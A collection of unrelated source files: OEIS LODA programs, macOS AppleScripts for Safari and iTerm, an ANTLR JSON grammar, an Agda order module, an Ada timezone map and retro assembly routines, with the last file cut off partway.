; A031908: a(n) = prime(8*n - 5). ; Submitted by <NAME> ; 5,31,67,103,149,191,233,277,331,379,431,467,523,587,631,677,739,797,853,907,967,1019,1063,1117,1187,1237,1297,1367,1433,1483,1543,1597,1637,1709,1777,1847,1901,1979,2027,2087,2141,2221,2281,2341,2389,2447,2539,2609,2671,2711,2767,2833,2897,2963,3037,3109,3187,3253,3319,3371,3457,3517,3559,3623,3691,3761,3823,3889,3943,4019,4091,4153,4229,4273,4357,4441,4507,4567,4643,4703,4787,4861,4933,4987,5039,5107,5189,5273,5347,5417,5477,5527,5623,5669,5741,5813,5861,5927,6037,6091 mov $2,36 mul $2,$0 mul $0,8 mov $4,4 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,2 lpe mov $0,$4 add $0,1
programs/oeis/047/A047553.asm
neoneye/loda
22
26518
<gh_stars>10-100 ; A047553: Numbers that are congruent to {0, 2, 6, 7} mod 8. ; 0,2,6,7,8,10,14,15,16,18,22,23,24,26,30,31,32,34,38,39,40,42,46,47,48,50,54,55,56,58,62,63,64,66,70,71,72,74,78,79,80,82,86,87,88,90,94,95,96,98,102,103,104,106,110,111,112,114,118,119,120,122,126 mov $1,$0 mul $0,7 mod $0,4 mod $0,3 mov $2,$1 mul $2,2 add $0,$2
notes/engines/list_open_safari_tabs.applescript
idcrook/weeker_raytracer
19
4710
<gh_stars>10-100 #! /usr/bin/osascript ## -*- apples -*- tell application "Safari" --Variables set windowCount to number of windows set docText to "" --Repeat for Every Window repeat with x from 1 to windowCount set tabcount to number of tabs in window x --Repeat for Every Tab in Current Window repeat with y from 1 to tabcount --Get Tab Name & URL set tabName to name of tab y of window x set tabURL to URL of tab y of window x set docText to docText & "<a href=" & "\"" & tabURL & "\">" & tabName & "</a>" & linefeed as string end repeat end repeat end tell --Write Document Text tell application "TextEdit" activate make new document set the text of the front document to docText end tell
antlr4/src/main/antlr4/JSON.g4
dijkspicy/coding-demo
0
2370
<filename>antlr4/src/main/antlr4/JSON.g4 grammar JSON; @header { package dijkspicy.demo.antlr4.parser; } // parser json: object | array ; object : '{' pair (',' pair)* '}' #object_normal | '{' '}' #object_empty ; array : '[' value (',' value)* ']' #array_normal | '[' ']' #array_empty ; pair: key ':' value ; key: STRING #key_string | ID #key_id ; value : STRING #value_string | NUMBER #value_number | NON_SPACE #value_non_space | object #value_object | array #value_array | 'true' #value_true | 'false' #value_false | 'null' #value_null ; // lexer ID: [a-zA-Z$_]+[a-zA-Z0-9$_]* ; NON_SPACE: ~[\\/\b\f\n\r\t ]+';' ; STRING : '"' (ESC | ~["\\])* '"' ; fragment ESC: '\\' ([\\/bfnrt] | UNICODE) ; fragment UNICODE: 'u' HEX HEX HEX HEX ; fragment HEX: [0-9a-fA-F] ; NUMBER: '-'? INT '.' INT EXP? | '-'? INT EXP | '-'? INT ; fragment INT: '0' | [1-9][0-9]* ; fragment EXP: [Ee] [+\-]? INT ; WS: [ \t\r\n]+ -> skip ;
programs/oeis/017/A017029.asm
karttu/loda
1
101137
<filename>programs/oeis/017/A017029.asm<gh_stars>1-10 ; A017029: a(n) = 7*n + 4. ; 4,11,18,25,32,39,46,53,60,67,74,81,88,95,102,109,116,123,130,137,144,151,158,165,172,179,186,193,200,207,214,221,228,235,242,249,256,263,270,277,284,291,298,305,312,319,326,333,340,347,354,361,368,375,382,389,396,403,410,417,424,431,438,445,452,459,466,473,480,487,494,501,508,515,522,529,536,543,550,557,564,571,578,585,592,599,606,613,620,627,634,641,648,655,662,669,676,683,690,697,704,711,718,725,732,739,746,753,760,767,774,781,788,795,802,809,816,823,830,837,844,851,858,865,872,879,886,893,900,907,914,921,928,935,942,949,956,963,970,977,984,991,998,1005,1012,1019,1026,1033,1040,1047,1054,1061,1068,1075,1082,1089,1096,1103,1110,1117,1124,1131,1138,1145,1152,1159,1166,1173,1180,1187,1194,1201,1208,1215,1222,1229,1236,1243,1250,1257,1264,1271,1278,1285,1292,1299,1306,1313,1320,1327,1334,1341,1348,1355,1362,1369,1376,1383,1390,1397,1404,1411,1418,1425,1432,1439,1446,1453,1460,1467,1474,1481,1488,1495,1502,1509,1516,1523,1530,1537,1544,1551,1558,1565,1572,1579,1586,1593,1600,1607,1614,1621,1628,1635,1642,1649,1656,1663,1670,1677,1684,1691,1698,1705,1712,1719,1726,1733,1740,1747 mov $1,$0 mul $1,7 add $1,4
vdplib.asm
traidna/MUMPS-TI99-4A
0
21838
<filename>vdplib.asm ; vdp single byte read ; inputs: r0=address in vdp to read, r1(msb), the byte read from vdp ; side effects: none vsbr: swpb r0 ; get low byte of address movb r0,@8C02h ; write it to vdp address register swpb r0 ; get high byte andi r0,03FFFh movb r0,@8C02h ; write movb @8800h,r1 ; read payload b *r11 vmbw: ; vdp multi byte write ; inputs : r0 number of chars to write ; r1 address of string to start the write ; assumes that VDP write address is set vmbwloop: movb *r1+,@08C00h dec r0 jne vmbwloop b *r11 VDPtoRAM: ;pass in r0 as VDP start addr ; pass in r2 the RAM address push r11 clr r1 copytoram: bl @vsbr ; pass vdp addess and read byte ; (should not need to send addr) ; returns bye in msb of r1 inc r0 ; inc vdp address movb r1,*r2+ ; store in ram ci r1,0h ; is it end of line jne copytoram ; if not end of file keep going pop r11 b *r11 ; clear 80 bytes to 0's starting at BUFADR ; leaves VDP write address at end of buffer ;clrVDPbuf: ; push r11 ; ; li r0,BUFADR ; bl @setVDPwaddr ; clr r1 ; li r2,80 ;clrvdp: ; vsbw ; write msb of r1 to vdpmem ; dec r2 ; reduce counter ; ci r2,0 ; counter =? ; jne clrvdp ; if not zero return ; pop r11 ; b *r11 ; retrun to caller
apple-scripts/iTermStable/iTerm2-stable-new-tab-default.applescript
desynced/legendary-octo-broccoli
0
1890
--for testing uncomment the "on run" block --on run -- set argsCmd to "ps aux | grep xcode" -- set argsTheme to "Homebrew" -- set argsTitle to "Custom title" -- scriptRun(argsCmd, argsTheme, argsTitle) --end run on scriptRun(argsCmd, argsTheme, argsTitle) set withCmd to (argsCmd) set withTheme to (argsTheme) set theTitle to (argsTitle) CommandRun(withCmd, withTheme, theTitle) end scriptRun on CommandRun(withCmd, withTheme, theTitle) tell application "iTerm" if it is not running then tell application "iTerm" activate delay 0.2 try close first window end try end tell tell application "iTerm" try create window with profile withTheme on error msg create window with profile "Default" end try tell the current window tell the current session set name to theTitle set profile to withTheme write text withCmd end tell end tell end tell else --assume that iTerm is open and open a new tab try tell application "iTerm" activate tell the current window try create tab with profile withTheme on error msg create tab with profile "Default" end try tell the current tab tell the current session set name to theTitle write text withCmd end tell end tell end tell end tell on error msg --if all iTerm windows are closed the app stays open. In this scenario iTerm has no "current window" and will give an error when trying to create the new tab. tell application "iTerm" try create window with profile withTheme on error msg create window with profile "Default" end try tell the current window tell the current session set name to theTitle write text withCmd end tell end tell end tell end try end if end tell end CommandRun
Relation/Binary/Construct/Decision.agda
oisdk/agda-playground
6
16634
{-# OPTIONS --cubical --safe #-} open import Prelude open import Relation.Binary module Relation.Binary.Construct.Decision {a ℓ₁ ℓ₂} {A : Type a} (ord : TotalOrder A ℓ₁ ℓ₂) where open TotalOrder ord renaming (refl to ≤-refl) _<′_ : A → A → Type x <′ y = T (does (x <? y)) _≤′_ : A → A → Type x ≤′ y = T (not (does (y <? x))) witness-< : ∀ {x y} → x <′ y → x < y witness-< {x} {y} p with x <? y witness-< {x} {y} p | yes q = q witness-≤ : ∀ {x y} → x ≤′ y → x ≤ y witness-≤ {x} {y} p with y <? x witness-≤ {x} {y} p | no q = ≮⇒≥ q compute-< : ∀ {x y} → x < y → x <′ y compute-< {x} {y} p with x <? y compute-< {x} {y} p | yes q = tt compute-< {x} {y} p | no ¬p = ⊥-elim (¬p p) compute-≤ : ∀ {x y} → x ≤ y → x ≤′ y compute-≤ {x} {y} ¬p with y <? x compute-≤ {x} {y} ¬p | yes p = ⊥-elim (<⇒≱ p ¬p) compute-≤ {x} {y} ¬p | no _ = tt ≰⇒>′ : ∀ {x y} → ¬ (x ≤′ y) → y <′ x ≰⇒>′ {x} {y} p with y <? x ≰⇒>′ {x} {y} p | no _ = p tt ≰⇒>′ {x} {y} p | yes _ = tt ≮⇒≥′ : ∀ {x y} → ¬ (x <′ y) → y ≤′ x ≮⇒≥′ {x} {y} p with x <? y ≮⇒≥′ {x} {y} p | no _ = tt ≮⇒≥′ {x} {y} p | yes _ = p tt dec-ord : TotalOrder A ℓzero ℓzero StrictPreorder._<_ (StrictPartialOrder.strictPreorder (TotalOrder.strictPartialOrder dec-ord)) = _<′_ StrictPreorder.trans (StrictPartialOrder.strictPreorder (TotalOrder.strictPartialOrder dec-ord)) p q = compute-< (<-trans (witness-< p) (witness-< q)) StrictPreorder.irrefl (StrictPartialOrder.strictPreorder (TotalOrder.strictPartialOrder dec-ord)) p = irrefl (witness-< p) StrictPartialOrder.conn (TotalOrder.strictPartialOrder dec-ord) p q = conn (p ∘ compute-<) (q ∘ compute-<) Preorder._≤_ (PartialOrder.preorder (TotalOrder.partialOrder dec-ord)) = _≤′_ Preorder.refl (PartialOrder.preorder (TotalOrder.partialOrder dec-ord)) = compute-≤ ≤-refl PartialOrder.antisym (TotalOrder.partialOrder dec-ord) p q = antisym (witness-≤ p) (witness-≤ q) Preorder.trans (PartialOrder.preorder (TotalOrder.partialOrder dec-ord)) p q = compute-≤ (≤-trans (witness-≤ p) (witness-≤ q)) TotalOrder._<?_ dec-ord x y = iff-dec (compute-< iff witness-<) (x <? y) TotalOrder.≰⇒> dec-ord = ≰⇒>′ TotalOrder.≮⇒≥ dec-ord = ≮⇒≥′
generated/natools-static_maps-s_expressions-templates-dates.ads
faelys/natools
0
11807
-- Generated at 2015-06-24 18:19:13 +0000 by Natools.Static_Hash_Maps -- from src/natools-s_expressions-templates-dates-maps.sx package Natools.Static_Maps.S_Expressions.Templates.Dates is pragma Pure; type Main_Command is (Error, Year, Month, Day, Hour, Minute, Second, Padded_Month, Padded_Day, Padded_Hour, Padded_Minute, Padded_Second, Day_Of_Week, Big_Endian_Date, Little_Endian_Date, Big_Endian_Time, Little_Endian_Time, RFC_3339, With_Offset); function Main (Key : String) return Main_Command; function To_Time_Offset (Key : String) return Integer; private Map_1_Key_0 : aliased constant String := "<KEY>"; Map_1_Key_1 : aliased constant String := "big-endian-date"; Map_1_Key_2 : aliased constant String := "HHMMSS"; Map_1_Key_3 : aliased constant String := "time"; Map_1_Key_4 : aliased constant String := "big-endian-time"; Map_1_Key_5 : aliased constant String := "day"; Map_1_Key_6 : aliased constant String := "dow"; Map_1_Key_7 : aliased constant String := "day-of-week"; Map_1_Key_8 : aliased constant String := "hour"; Map_1_Key_9 : aliased constant String := "<KEY>"; Map_1_Key_10 : aliased constant String := "little-endian-date"; Map_1_Key_11 : aliased constant String := "SSMMHH"; Map_1_Key_12 : aliased constant String := "little-endian-time"; Map_1_Key_13 : aliased constant String := "minute"; Map_1_Key_14 : aliased constant String := "month"; Map_1_Key_15 : aliased constant String := "0day"; Map_1_Key_16 : aliased constant String := "padded-day"; Map_1_Key_17 : aliased constant String := "0hour"; Map_1_Key_18 : aliased constant String := "padded-hour"; Map_1_Key_19 : aliased constant String := "0minute"; Map_1_Key_20 : aliased constant String := "padded-minute"; Map_1_Key_21 : aliased constant String := "0month"; Map_1_Key_22 : aliased constant String := "padded-month"; Map_1_Key_23 : aliased constant String := "0second"; Map_1_Key_24 : aliased constant String := "padded-second"; Map_1_Key_25 : aliased constant String := "<KEY>"; Map_1_Key_26 : aliased constant String := "second"; Map_1_Key_27 : aliased constant String := "with-offset"; Map_1_Key_28 : aliased constant String := "in-zone"; Map_1_Key_29 : aliased constant String := "year"; Map_1_Keys : constant array (0 .. 29) of access constant String := (Map_1_Key_0'Access, Map_1_Key_1'Access, Map_1_Key_2'Access, Map_1_Key_3'Access, Map_1_Key_4'Access, Map_1_Key_5'Access, Map_1_Key_6'Access, Map_1_Key_7'Access, Map_1_Key_8'Access, Map_1_Key_9'Access, Map_1_Key_10'Access, Map_1_Key_11'Access, Map_1_Key_12'Access, Map_1_Key_13'Access, Map_1_Key_14'Access, Map_1_Key_15'Access, Map_1_Key_16'Access, Map_1_Key_17'Access, Map_1_Key_18'Access, Map_1_Key_19'Access, Map_1_Key_20'Access, Map_1_Key_21'Access, Map_1_Key_22'Access, Map_1_Key_23'Access, Map_1_Key_24'Access, Map_1_Key_25'Access, Map_1_Key_26'Access, Map_1_Key_27'Access, Map_1_Key_28'Access, Map_1_Key_29'Access); Map_1_Elements : constant array (0 .. 29) of Main_Command := (Big_Endian_Date, Big_Endian_Date, Big_Endian_Time, Big_Endian_Time, Big_Endian_Time, Day, Day_Of_Week, Day_Of_Week, Hour, Little_Endian_Date, Little_Endian_Date, Little_Endian_Time, Little_Endian_Time, Minute, Month, Padded_Day, Padded_Day, Padded_Hour, Padded_Hour, Padded_Minute, Padded_Minute, Padded_Month, Padded_Month, Padded_Second, Padded_Second, RFC_3339, Second, With_Offset, With_Offset, Year); Map_2_Key_0 : aliased constant String := "ACDT"; Map_2_Key_1 : aliased constant String := "ACST"; Map_2_Key_2 : aliased constant String := "ADT"; Map_2_Key_3 : aliased constant String := "AEDT"; Map_2_Key_4 : aliased constant String := "AEST"; Map_2_Key_5 : aliased constant String := "AFT"; Map_2_Key_6 : aliased constant String := "AKDT"; Map_2_Key_7 : aliased constant String := "AKST"; Map_2_Key_8 : aliased constant String := "ART"; Map_2_Key_9 : aliased constant String := "AWDT"; Map_2_Key_10 : aliased constant String := "AWST"; Map_2_Key_11 : aliased constant String := "AZOST"; Map_2_Key_12 : aliased constant String := "AZT"; Map_2_Key_13 : aliased constant String := "BDT"; Map_2_Key_14 : aliased constant String := "BIOT"; Map_2_Key_15 : aliased constant String := "BIT"; Map_2_Key_16 : aliased constant String := "BOT"; Map_2_Key_17 : aliased constant String := "BRST"; Map_2_Key_18 : aliased constant String := "BRT"; Map_2_Key_19 : aliased constant String := "BTT"; Map_2_Key_20 : aliased constant String := "CAT"; Map_2_Key_21 : aliased constant String := "CCT"; Map_2_Key_22 : aliased constant String := "CEDT"; Map_2_Key_23 : aliased constant String := "CEST"; Map_2_Key_24 : aliased constant String := "CET"; Map_2_Key_25 : aliased constant String := "CHADT"; Map_2_Key_26 : aliased constant String := "CHAST"; Map_2_Key_27 : aliased constant String := "CHOT"; Map_2_Key_28 : aliased constant String := "ChST"; Map_2_Key_29 : aliased constant String := "CHUT"; Map_2_Key_30 : aliased constant String := "CIST"; Map_2_Key_31 : aliased constant String := "CIT"; Map_2_Key_32 : aliased constant String := "CKT"; Map_2_Key_33 : aliased constant String := "CLST"; Map_2_Key_34 : aliased constant String := "CLT"; Map_2_Key_35 : aliased constant String := "COST"; Map_2_Key_36 : aliased constant String := "COT"; Map_2_Key_37 : aliased constant String := "CT"; Map_2_Key_38 : aliased constant String := "CVT"; Map_2_Key_39 : aliased constant String := "CWST"; Map_2_Key_40 : aliased constant String := "CXT"; Map_2_Key_41 : aliased constant String := "DAVT"; Map_2_Key_42 : aliased constant String := "DDUT"; Map_2_Key_43 : aliased constant String := "DFT"; Map_2_Key_44 : aliased constant String := "EASST"; Map_2_Key_45 : aliased constant String := "EAST"; Map_2_Key_46 : aliased constant String := "EAT"; Map_2_Key_47 : aliased constant String := "EDT"; Map_2_Key_48 : aliased constant String := "EEDT"; Map_2_Key_49 : aliased constant String := "EEST"; Map_2_Key_50 : aliased constant String := "EET"; Map_2_Key_51 : aliased constant String := "EGST"; Map_2_Key_52 : aliased constant String := "EGT"; Map_2_Key_53 : aliased constant String := "EIT"; Map_2_Key_54 : aliased constant String := "FET"; Map_2_Key_55 : aliased constant String := "FJT"; Map_2_Key_56 : aliased constant String := "FKST"; Map_2_Key_57 : aliased constant String := "FKT"; Map_2_Key_58 : aliased constant String := "FNT"; Map_2_Key_59 : aliased constant String := "GALT"; Map_2_Key_60 : aliased constant String := "GAMT"; Map_2_Key_61 : aliased constant String := "GET"; Map_2_Key_62 : aliased constant String := "GFT"; Map_2_Key_63 : aliased constant String := "GILT"; Map_2_Key_64 : aliased constant String := "GIT"; Map_2_Key_65 : aliased constant String := "GMT"; Map_2_Key_66 : aliased constant String := "GYT"; Map_2_Key_67 : aliased constant String := "HADT"; Map_2_Key_68 : aliased constant String := "HAEC"; Map_2_Key_69 : aliased constant String := "HAST"; Map_2_Key_70 : aliased constant String := "HKT"; Map_2_Key_71 : aliased constant String := "HMT"; Map_2_Key_72 : aliased constant String := "HOVT"; Map_2_Key_73 : aliased constant String := "HST"; Map_2_Key_74 : aliased constant String := "ICT"; Map_2_Key_75 : aliased constant String := "IDT"; Map_2_Key_76 : aliased constant String := "IOT"; Map_2_Key_77 : aliased constant String := "IRDT"; Map_2_Key_78 : aliased constant String := "IRKT"; Map_2_Key_79 : aliased constant String := "IRST"; Map_2_Key_80 : aliased constant String := "JST"; Map_2_Key_81 : aliased constant String := "KGT"; Map_2_Key_82 : aliased constant String := "KOST"; Map_2_Key_83 : aliased constant String := "KRAT"; Map_2_Key_84 : aliased constant String := "KST"; Map_2_Key_85 : aliased constant String := "LINT"; Map_2_Key_86 : aliased constant String := "MAGT"; Map_2_Key_87 : aliased constant String := "MART"; Map_2_Key_88 : aliased constant String := "MAWT"; Map_2_Key_89 : aliased constant String := "MDT"; Map_2_Key_90 : aliased constant String := "MET"; Map_2_Key_91 : aliased constant String := "MEST"; Map_2_Key_92 : aliased constant String := "MHT"; Map_2_Key_93 : aliased constant String := "MIST"; Map_2_Key_94 : aliased constant String := "MIT"; Map_2_Key_95 : aliased constant String := "MMT"; Map_2_Key_96 : aliased constant String := "MSK"; Map_2_Key_97 : aliased constant String := "MUT"; Map_2_Key_98 : aliased constant String := "MVT"; Map_2_Key_99 : aliased constant String := "MYT"; Map_2_Key_100 : aliased constant String := "NCT"; Map_2_Key_101 : aliased constant String := "NDT"; Map_2_Key_102 : aliased constant String := "NFT"; Map_2_Key_103 : aliased constant String := "NPT"; Map_2_Key_104 : aliased constant String := "NST"; Map_2_Key_105 : aliased constant String := "NT"; Map_2_Key_106 : aliased constant String := "NUT"; Map_2_Key_107 : aliased constant String := "NZDT"; Map_2_Key_108 : aliased constant String := "NZST"; Map_2_Key_109 : aliased constant String := "OMST"; Map_2_Key_110 : aliased constant String := "ORAT"; Map_2_Key_111 : aliased constant String := "PDT"; Map_2_Key_112 : aliased constant String := "PET"; Map_2_Key_113 : aliased constant String := "PETT"; Map_2_Key_114 : aliased constant String := "PGT"; Map_2_Key_115 : aliased constant String := "PHOT"; Map_2_Key_116 : aliased constant String := "PKT"; Map_2_Key_117 : aliased constant String := "PMDT"; Map_2_Key_118 : aliased constant String := "PMST"; Map_2_Key_119 : aliased constant String := "PONT"; Map_2_Key_120 : aliased constant String := "PYST"; Map_2_Key_121 : aliased constant String := "PYT"; Map_2_Key_122 : aliased constant String := "RET"; Map_2_Key_123 : aliased constant String := "ROTT"; Map_2_Key_124 : aliased constant String := "SAKT"; Map_2_Key_125 : aliased constant String := "SAMT"; Map_2_Key_126 : aliased constant String := "SAST"; Map_2_Key_127 : aliased constant String := "SBT"; Map_2_Key_128 : aliased constant String := "SCT"; Map_2_Key_129 : aliased constant String := "SGT"; Map_2_Key_130 : aliased constant String := "SLST"; Map_2_Key_131 : aliased constant String := "SRET"; Map_2_Key_132 : aliased constant String := "SRT"; Map_2_Key_133 : aliased constant String := "SYOT"; Map_2_Key_134 : aliased constant String := "TAHT"; Map_2_Key_135 : aliased constant String := "THA"; Map_2_Key_136 : aliased constant String := "TFT"; Map_2_Key_137 : aliased constant String := "TJT"; Map_2_Key_138 : aliased constant String := "TKT"; Map_2_Key_139 : aliased constant String := "TLT"; Map_2_Key_140 : aliased constant String := "TMT"; Map_2_Key_141 : aliased constant String := "TOT"; Map_2_Key_142 : aliased constant String := "TVT"; Map_2_Key_143 : aliased constant String := "UCT"; Map_2_Key_144 : aliased constant String := "ULAT"; Map_2_Key_145 : aliased constant String := "USZ1"; Map_2_Key_146 : aliased constant String := "UTC"; Map_2_Key_147 : aliased constant String := "UYST"; Map_2_Key_148 : aliased constant String := "UYT"; Map_2_Key_149 : aliased constant String := "UZT"; Map_2_Key_150 : aliased constant String := "VET"; Map_2_Key_151 : aliased constant String := "VLAT"; Map_2_Key_152 : aliased constant String := "VOLT"; Map_2_Key_153 : aliased constant String := "VOST"; Map_2_Key_154 : aliased constant String := "VUT"; Map_2_Key_155 : aliased constant String := "WAKT"; Map_2_Key_156 : aliased constant String := "WAST"; Map_2_Key_157 : aliased constant String := "WAT"; Map_2_Key_158 : aliased constant String := "WEDT"; Map_2_Key_159 : aliased constant String := "WEST"; Map_2_Key_160 : aliased constant String := "WET"; Map_2_Key_161 : aliased constant String := "WIT"; Map_2_Key_162 : aliased constant String := "WST"; Map_2_Key_163 : aliased constant String := "YAKT"; Map_2_Key_164 : aliased constant String := "YEKT"; Map_2_Key_165 : aliased constant String := "Z"; Map_2_Keys : constant array (0 .. 165) of access constant String := (Map_2_Key_0'Access, Map_2_Key_1'Access, Map_2_Key_2'Access, Map_2_Key_3'Access, Map_2_Key_4'Access, Map_2_Key_5'Access, Map_2_Key_6'Access, Map_2_Key_7'Access, Map_2_Key_8'Access, Map_2_Key_9'Access, Map_2_Key_10'Access, Map_2_Key_11'Access, Map_2_Key_12'Access, Map_2_Key_13'Access, Map_2_Key_14'Access, Map_2_Key_15'Access, Map_2_Key_16'Access, Map_2_Key_17'Access, Map_2_Key_18'Access, Map_2_Key_19'Access, Map_2_Key_20'Access, Map_2_Key_21'Access, Map_2_Key_22'Access, Map_2_Key_23'Access, Map_2_Key_24'Access, Map_2_Key_25'Access, Map_2_Key_26'Access, Map_2_Key_27'Access, Map_2_Key_28'Access, Map_2_Key_29'Access, Map_2_Key_30'Access, Map_2_Key_31'Access, Map_2_Key_32'Access, Map_2_Key_33'Access, Map_2_Key_34'Access, Map_2_Key_35'Access, Map_2_Key_36'Access, Map_2_Key_37'Access, Map_2_Key_38'Access, Map_2_Key_39'Access, Map_2_Key_40'Access, Map_2_Key_41'Access, Map_2_Key_42'Access, Map_2_Key_43'Access, Map_2_Key_44'Access, Map_2_Key_45'Access, Map_2_Key_46'Access, Map_2_Key_47'Access, Map_2_Key_48'Access, Map_2_Key_49'Access, Map_2_Key_50'Access, Map_2_Key_51'Access, Map_2_Key_52'Access, Map_2_Key_53'Access, Map_2_Key_54'Access, Map_2_Key_55'Access, Map_2_Key_56'Access, Map_2_Key_57'Access, Map_2_Key_58'Access, Map_2_Key_59'Access, Map_2_Key_60'Access, Map_2_Key_61'Access, Map_2_Key_62'Access, Map_2_Key_63'Access, Map_2_Key_64'Access, Map_2_Key_65'Access, Map_2_Key_66'Access, Map_2_Key_67'Access, Map_2_Key_68'Access, Map_2_Key_69'Access, Map_2_Key_70'Access, Map_2_Key_71'Access, Map_2_Key_72'Access, Map_2_Key_73'Access, Map_2_Key_74'Access, Map_2_Key_75'Access, Map_2_Key_76'Access, Map_2_Key_77'Access, Map_2_Key_78'Access, Map_2_Key_79'Access, Map_2_Key_80'Access, Map_2_Key_81'Access, Map_2_Key_82'Access, Map_2_Key_83'Access, Map_2_Key_84'Access, Map_2_Key_85'Access, Map_2_Key_86'Access, Map_2_Key_87'Access, Map_2_Key_88'Access, Map_2_Key_89'Access, Map_2_Key_90'Access, Map_2_Key_91'Access, Map_2_Key_92'Access, Map_2_Key_93'Access, Map_2_Key_94'Access, Map_2_Key_95'Access, Map_2_Key_96'Access, Map_2_Key_97'Access, Map_2_Key_98'Access, Map_2_Key_99'Access, Map_2_Key_100'Access, Map_2_Key_101'Access, Map_2_Key_102'Access, Map_2_Key_103'Access, Map_2_Key_104'Access, Map_2_Key_105'Access, Map_2_Key_106'Access, Map_2_Key_107'Access, Map_2_Key_108'Access, Map_2_Key_109'Access, Map_2_Key_110'Access, Map_2_Key_111'Access, Map_2_Key_112'Access, Map_2_Key_113'Access, Map_2_Key_114'Access, Map_2_Key_115'Access, Map_2_Key_116'Access, Map_2_Key_117'Access, Map_2_Key_118'Access, Map_2_Key_119'Access, Map_2_Key_120'Access, Map_2_Key_121'Access, Map_2_Key_122'Access, Map_2_Key_123'Access, Map_2_Key_124'Access, Map_2_Key_125'Access, Map_2_Key_126'Access, Map_2_Key_127'Access, Map_2_Key_128'Access, Map_2_Key_129'Access, Map_2_Key_130'Access, Map_2_Key_131'Access, Map_2_Key_132'Access, Map_2_Key_133'Access, Map_2_Key_134'Access, Map_2_Key_135'Access, Map_2_Key_136'Access, Map_2_Key_137'Access, Map_2_Key_138'Access, Map_2_Key_139'Access, Map_2_Key_140'Access, Map_2_Key_141'Access, Map_2_Key_142'Access, Map_2_Key_143'Access, Map_2_Key_144'Access, Map_2_Key_145'Access, Map_2_Key_146'Access, Map_2_Key_147'Access, Map_2_Key_148'Access, Map_2_Key_149'Access, Map_2_Key_150'Access, Map_2_Key_151'Access, Map_2_Key_152'Access, Map_2_Key_153'Access, Map_2_Key_154'Access, Map_2_Key_155'Access, Map_2_Key_156'Access, Map_2_Key_157'Access, Map_2_Key_158'Access, Map_2_Key_159'Access, Map_2_Key_160'Access, Map_2_Key_161'Access, Map_2_Key_162'Access, Map_2_Key_163'Access, Map_2_Key_164'Access, Map_2_Key_165'Access); Map_2_Elements : constant array (0 .. 165) of Integer := (+10 * 60 + 30, +09 * 60 + 30, -03 * 60, +11 * 60, +10 * 60, +04 * 60 + 30, -08 * 60, -09 * 60, -03 * 60, +09 * 60, +08 * 60, -01 * 60, +04 * 60, +08 * 60, +06 * 60, -12 * 60, -04 * 60, -02 * 60, -03 * 60, +06 * 60, +02 * 60, +06 * 60 + 30, +02 * 60, +02 * 60, +01 * 60, +13 * 60 + 45, +12 * 60 + 45, +08 * 60, +10 * 60, +10 * 60, -08 * 60, +08 * 60, -10 * 60, -03 * 60, -04 * 60, -04 * 60, -05 * 60, +08 * 60, -01 * 60, +08 * 60 + 45, +07 * 60, +07 * 60, +10 * 60, +01 * 60, -05 * 60, -06 * 60, +03 * 60, -04 * 60, +03 * 60, +03 * 60, +02 * 60, +00 * 60, -01 * 60, +09 * 60, +03 * 60, +12 * 60, -03 * 60, -04 * 60, -02 * 60, -06 * 60, -09 * 60, +04 * 60, -03 * 60, +12 * 60, -09 * 60, 0, -04 * 60, -09 * 60, +02 * 60, -10 * 60, +08 * 60, +05 * 60, +07 * 60, -10 * 60, +07 * 60, +03 * 60, +03 * 60, +04 * 60 + 30, +08 * 60, +03 * 60 + 30, +09 * 60, +06 * 60, +11 * 60, +07 * 60, +09 * 60, +14 * 60, +12 * 60, -09 * 60 + 30, +05 * 60, -06 * 60, +01 * 60, +02 * 60, +12 * 60, +11 * 60, -09 * 60 + 30, +06 * 60 + 30, +03 * 60, +04 * 60, +05 * 60, +08 * 60, +11 * 60, -02 * 60 + 30, +11 * 60 + 30, +05 * 60 + 45, -03 * 60 + 30, -03 * 60 + 30, -11 * 60, +13 * 60, +12 * 60, +06 * 60, +05 * 60, -07 * 60, -05 * 60, +12 * 60, +10 * 60, +13 * 60, +05 * 60, -02 * 60, -03 * 60, +11 * 60, -03 * 60, -04 * 60, +04 * 60, -03 * 60, +11 * 60, +04 * 60, +02 * 60, +11 * 60, +04 * 60, +08 * 60, +05 * 60 + 30, +11 * 60, -03 * 60, +03 * 60, -10 * 60, +07 * 60, +05 * 60, +05 * 60, +13 * 60, +09 * 60, +05 * 60, +13 * 60, +12 * 60, 0, +08 * 60, +02 * 60, 0, -02 * 60, -03 * 60, +05 * 60, -04 * 60 + 30, +10 * 60, +04 * 60, +06 * 60, +11 * 60, +12 * 60, +02 * 60, +01 * 60, +01 * 60, +01 * 60, 0, +07 * 60, +08 * 60, +09 * 60, +05 * 60, 0); end Natools.Static_Maps.S_Expressions.Templates.Dates;
Library/SpecUI/CommonUI/CWin/cwinWinIcon.asm
steakknife/pcgeos
504
14839
COMMENT @----------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: CommonUI/CWin (common code for several specific ui's) FILE: cwinWinIcon.asm ROUTINES: Name Description ---- ----------- OLWinIconClass Icon for OLWinClass objects which are minimized. REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 9/89 Initial version DESCRIPTION: $Id: cwinWinIcon.asm,v 1.1 97/04/07 10:53:18 newdeal Exp $ -------------------------------------------------------------------------------@ ; ; For documentation of the OLWinIconClass see: ; /staff/pcgeos/Spec/olWinIconClass.doc ; CommonUIClassStructures segment resource OLWinIconClass mask CLASSF_DISCARD_ON_SAVE or \ mask CLASSF_NEVER_SAVED CommonUIClassStructures ends ;--------------------------------------------------- WinIconCode segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconInitialize -- MSG_META_INITIALIZE for OLWinIconClass DESCRIPTION: Initialize an icon which opens a GenPrimary or GenDisplay. PASS: *ds:si - instance data es - segment of OLWinIconClass ax - MSG_META_INITIALIZE cx, dx, bp - ? RETURN: carry - ? ax, cx, dx, bp - ? DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 initial version ------------------------------------------------------------------------------@ OLWinIconInitialize method dynamic OLWinIconClass, MSG_META_INITIALIZE ;Do super class (OLWinClass) INITIALIZATION call OpenWinInitialize ;direct call for speed ;override some OLWinClass settings call WinIcon_DerefVisSpec_DI ; & give basic base window attributes ORNF ds:[di].OLWI_fixedAttr, mask OWFA_IS_WIN_ICON mov ds:[di].OLWI_attrs, OL_ATTRS_WIN_ICON OLS < mov 